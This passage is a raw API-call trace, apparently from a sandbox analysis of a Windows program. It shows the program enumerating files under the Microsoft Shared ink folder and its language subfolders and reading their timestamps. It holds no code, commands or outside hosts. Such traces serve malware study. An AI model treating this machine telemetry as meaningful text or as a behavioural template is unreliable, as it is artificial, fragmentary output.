lpSystemTime=0x4aa8c4) returned 1 [0070.958] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0070.958] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0070.958] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0070.958] CloseHandle (hObject=0x174) returned 1 [0070.958] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244c354, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x244c354, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a55e497, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x30200, dwReserved0=0x27, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0070.958] AreFileApisANSI () returned 1 [0070.958] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aaf90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 70 [0070.958] AreFileApisANSI () returned 1 [0070.958] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 70 [0070.958] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0070.958] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0070.958] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0070.958] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0070.958] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0070.958] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0070.959] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0070.959] CloseHandle (hObject=0x174) returned 1 [0070.959] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24be76b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24be76b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5845f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x27, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0070.959] AreFileApisANSI () returned 1 [0070.959] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aaf90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 69 [0070.960] AreFileApisANSI () returned 1 [0070.960] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 69 [0070.960] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0070.960] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0070.960] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0070.960] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0070.960] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0070.960] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0070.960] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0070.960] CloseHandle (hObject=0x174) returned 1 [0070.960] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x27, dwReserved1=0x0, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0070.960] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x27, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0070.960] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x27, dwReserved1=0x0, cFileName="InkWatson.exe.mui", cAlternateFileName="")) returned 1 [0070.960] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x27, dwReserved1=0x0, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1 [0070.960] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x27, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1 [0070.961] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x27, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1 [0070.961] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250aa25, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x250aa25, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5aa753, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36400, dwReserved0=0x27, dwReserved1=0x0, cFileName="join.avi", cAlternateFileName="")) returned 1 [0070.961] AreFileApisANSI () returned 1 [0070.961] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aaf90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 67 [0070.961] AreFileApisANSI () returned 1 [0070.961] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 67 [0070.961] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0070.961] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0070.961] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0070.961] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0070.961] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0070.961] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0070.961] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0070.961] CloseHandle (hObject=0x174) returned 1 [0070.961] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x27, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0070.961] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x27, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0070.961] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x27, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0070.961] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x27, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0070.962] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x27, dwReserved1=0x0, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1 [0070.962] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25c90f6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x25c90f6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5d08b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2f600, dwReserved0=0x27, dwReserved1=0x0, cFileName="split.avi", cAlternateFileName="")) returned 1 [0070.962] AreFileApisANSI () returned 1 [0070.962] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aaf90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 68 [0070.962] AreFileApisANSI () returned 1 [0070.962] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 68 [0070.962] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0070.962] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0070.962] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0070.962] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0070.962] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0070.962] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0070.962] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0070.962] CloseHandle (hObject=0x174) returned 1 [0070.962] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa23a9ac, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa23a9ac, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x27, dwReserved1=0x0, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1 [0070.962] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x27, dwReserved1=0x0, cFileName="TipBand.dll.mui", cAlternateFileName="")) returned 1 [0070.962] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x27, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0070.963] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5cd75ed, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5f38bbd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5f38bbd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x27, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0070.963] AreFileApisANSI () returned 1 [0070.963] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0070.963] GetFileType (hFile=0x198) returned 0x1 [0070.964] AreFileApisANSI () returned 1 [0070.964] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 88 [0070.966] AreFileApisANSI () returned 1 [0070.966] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0070.968] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7a87a60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7a87a60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000236, cFileName=".", cAlternateFileName="")) returned 0x549810 [0070.968] AreFileApisANSI () returned 1 [0070.968] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0070.969] GetFileType (hFile=0x198) returned 0x1 [0070.970] AreFileApisANSI () returned 1 [0070.970] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 88 [0070.971] AreFileApisANSI () returned 1 [0070.971] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0070.974] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7a87a60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7a87a60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000236, cFileName=".", cAlternateFileName="")) returned 0x549810 [0070.974] AreFileApisANSI () returned 1 [0070.974] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0070.974] GetFileType (hFile=0x198) returned 0x1 [0070.976] AreFileApisANSI () returned 1 [0070.976] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 88 [0070.977] AreFileApisANSI () returned 1 [0070.977] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0070.979] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7aadbc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7aadbc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000236, cFileName=".", cAlternateFileName="")) returned 0x549810 [0070.980] AreFileApisANSI () returned 1 [0070.980] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ab938, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 71 [0070.980] AreFileApisANSI () returned 1 [0070.980] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 71 [0070.980] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0070.980] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0070.980] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0070.980] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0070.980] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0070.980] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0070.980] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0070.980] CloseHandle (hObject=0x198) returned 1 [0070.981] AreFileApisANSI () returned 1 [0070.981] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0070.981] GetFileType (hFile=0x198) returned 0x1 [0070.982] AreFileApisANSI () returned 1 [0070.982] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 88 [0070.983] AreFileApisANSI () returned 1 [0070.983] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0070.986] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7aadbc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7aadbc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000236, cFileName=".", cAlternateFileName="")) returned 0x549810 [0070.987] AreFileApisANSI () returned 1 [0070.987] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 95 [0070.990] AreFileApisANSI () returned 1 [0070.990] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 96 [0070.991] AreFileApisANSI () returned 1 [0070.991] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 95 [0070.993] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7ad3d20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7ad3d20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000236, cFileName=".", cAlternateFileName="")) returned 0x549810 [0070.993] AreFileApisANSI () returned 1 [0070.993] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 102 [0070.994] GetFileType (hFile=0x174) returned 0x1 [0070.995] AreFileApisANSI () returned 1 [0070.995] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 103 [0070.997] AreFileApisANSI () returned 1 